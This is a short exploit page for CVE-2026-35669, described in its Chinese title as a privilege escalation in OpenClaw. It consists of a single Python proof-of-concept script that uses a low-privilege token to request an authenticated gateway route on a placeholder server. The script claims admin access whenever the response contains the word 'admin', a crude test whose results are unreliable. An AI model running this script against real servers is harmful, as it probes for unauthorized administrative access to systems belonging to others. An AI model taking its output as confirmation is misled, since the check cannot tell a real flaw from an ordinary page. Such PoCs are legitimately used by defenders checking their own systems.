CVE-2026-35669 OpenClaw权限提升漏洞

import requests # Exploit Title: OpenClaw Privilege Escalation (CVE-2026-35669) # Description: PoC to demonstrate the incorrect minting of operator.admin scope # Note: Replace TARGET_URL and AUTH_TOKEN with valid values def check_poc(): target_url = "http://target-openclaw-server/api/gateway/authenticated/route" # Use a low-privilege token headers = { "Authorization": "Bearer <LOW_PRIVILEGE_TOKEN>", "Content-Type": "application/json" } try: # Send request to the vulnerable route response = requests.get(target_url, headers=headers, timeout=10) # Check if response indicates admin access or sensitive data exposure if response.status_code == 200 and "admin" in response.text.lower(): print("[+] Vulnerability confirmed! Admin access granted with low privileges.") print("[+] Response snippet:", response.text[:200]) else: print("[-] Target may not be vulnerable or requires specific interaction.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": check_poc()